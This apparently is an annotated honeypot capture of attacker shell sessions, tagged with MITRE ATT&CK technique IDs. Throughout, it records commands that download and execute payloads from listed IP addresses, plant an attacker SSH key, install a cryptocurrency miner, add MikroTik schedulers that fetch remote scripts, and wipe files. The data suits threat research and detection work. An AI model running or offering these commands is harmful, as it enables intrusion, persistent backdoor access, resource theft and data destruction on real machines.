cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


/bin/busybox cat /bin/busybox || while read i; do /bin/busybox echo ; done < /bin/busybox || /bin/busybox dd if=/bin/busybox bs=22 count=1

('enable', 'system', 'shell', 'sh', '/bin/busybox', '/bin/busybox cat /bin/busybox || while ; do /bin/busybox echo ; done < /bin/busybox || /bin/busybox dd if')

T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1027 Obfuscated Files or Information
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OWXYX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QVROX


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')

T1222 File and Directory Permissions Modification


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TGUHH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ULNOE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KFHTH


('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456

('uname', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/d1c94411-9ef0-4c55-b5b7-96296408786e mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write

T1037 Boot or Logon Initialization Scripts


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GNSJE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JOXEO


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/caf4ec31-fa73-4b7d-855e-7f16b0367dc8 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CFWUM


apt update -y; apt install curl -y; cat /etc/issue; curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 49bGaMpdZtB5MqnyAwMk5u9bv3zjpyTE2RnQz2djYCm1goxkSkPuodnW8ayyjNLfLAA72Qm29uJT4RbxCAzbkVH6PxPAZZa;timeout 10 top

curl: option -L not recognized
curl: try 'curl --help' or 'curl --manual' for more information

('apt -y ; apt curl -y ; cat ; curl -s -L | bash -s ; timeout top', 'curl:')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1027 Obfuscated Files or Information
T1424 Process Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SBBKA

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZMQQR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WFEGU


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BUWKA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SKJCU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TFTXC


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456

('uname', 'cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EGKJR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SCPIP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EHQLJ


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RZELM

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XNWWG


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')

T1016 System Network Configuration Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KBMOK


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BFPBM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DSEYK


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OGCKH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TXTTD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PQZPD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RVFGK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ESVFX


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ROLAA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LBQPU


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PPDOB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UGWYB

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VMUXO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VZBVL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DRHJG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PDOAH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CSVHJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WNZZS


cat /etc/issue; cd /tmp; rm -rf x86_64; wget http://45.14.149.244/x86_64; chmod 777 x86_64; ./x86_64 test; echo firewalla1337 and Anarchy were here

('cat ; cd ; rm -rf ; wget ; chmod ; ./ ; echo',)


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YRTCN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PCJWK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IVPET


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SGOLV


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GOPJZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LPZGI

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WWWXB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JOXQD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NWXTH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XAXCA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RINHQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HZIVL


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://65.21.184.203/zeros6x.sh; curl -O http://65.21.184.203/zeros6x.sh; chmod 777 zeros6x.sh; sh zeros6x.sh; tftp 65.21.184.203 -c get zeros6x.sh; chmod 777 zeros6x.sh; sh zeros6x.sh; tftp -r zeros6x2.sh -g 65.21.184.203; chmod 777 zeros6x2.sh; sh zeros6x2.sh; ftpget -v -u anonymous -p anonymous -P 21 65.21.184.203 zeros6x1.sh zeros6x1.sh; sh zeros6x1.sh; rm -rf zeros6x.sh zeros6x.sh zeros6x2.sh zeros6x1.sh; rm -rf *

('cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf',)


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NCOSH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CWSPG

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SIMMQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WDRPF

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CDFNK

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IHZEK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZNYTJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OQMJR


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/b8a61d4c-a6a0-460b-a4f2-ee87897478f3 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZALXB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GWEWZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VOWYY

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RXNQG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GXPAQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SGYMZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZRLRZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BVTNK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RBCBK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OXWBH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UWWSP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WQCOA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JUUDM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TJJZK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KPYVL


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LPDEU

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CBHBA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DMYXY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NLCJM


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CLXTX


processID=$(ps -u | grep -v 'grep' | grep cat | grep '/dev/stdin' | head -n 1 | awk -F ' ' '{ print $2 }');

ps -u | grep -v grep | grep cat | grep /dev/stdin | head -n 1 | awk -F   { print $2 }

('echo', 'cat | sh', '#!/usr/bin/sh', '#timeout=30', '( ) {', '( ps -u | grep -v grep | grep cat | grep | head -n | awk -F { print $2 } ) ;', 'ps -u | grep -v grep | grep cat | grep | head -n | awk -F { print $2 }', '$ ( kill -9 $processID ) ;', 'kill', '}', '( ) {', 'echo ;', '$ ( exec > - ) ;', 'exec > -', ';', 'start ( ) {', '( echo [ ) ;', 'echo', '( echo ] ) ;', 'echo', '( uname -a ) ;', 'uname', 'echo $startResult$cmd$stopResult ;', 'start ;', ';', '( id ) ;', 'id', '#timeout=20', ';', 'if if [ -f $ ( which ) ] ; then', 'which', '( ) ;', 'uptime', 'fi')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1424 Process Discovery
T1489 Service Stop
T1027 Obfuscated Files or Information
T1564 Hide Artifacts
T1489 Service Stop
T1059 Command and Scripting Interpreter
T1087 Account Discovery
T1124 System Time Discovery
T1489 Service Stop
T1087 Account Discovery
T1489 Service Stop
T1124 System Time Discovery
T1083 File and Directory Discovery
T1124 System Time Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DAQIF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GSJKH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XRSPW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OGZCF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HMVKT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ODMJS


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EBOHN

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GTSSE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QNXXE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WMEYB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HYKUS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RDBCB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VQWCT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FEWKK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YUWEI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RHQLU


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZPYVR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UMJUV

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JOMRU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ECJUS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IOXGC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QTHHM


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://190.123.45.34/Y91/x86; chmod 777 x86; sh x86;rm -rf *

('cd || cd || cd || cd || cd ; wget ; chmod ; sh ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OGGJU


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WESQU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YPGDU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GNEXZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OHVKK


/ip cloud print
ifconfig
uname -a
cat /proc/cpuinfo
ps | grep '[Mm]iner'

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XBFYK

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GAUMD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ORMSH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YQTAN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RAUIR


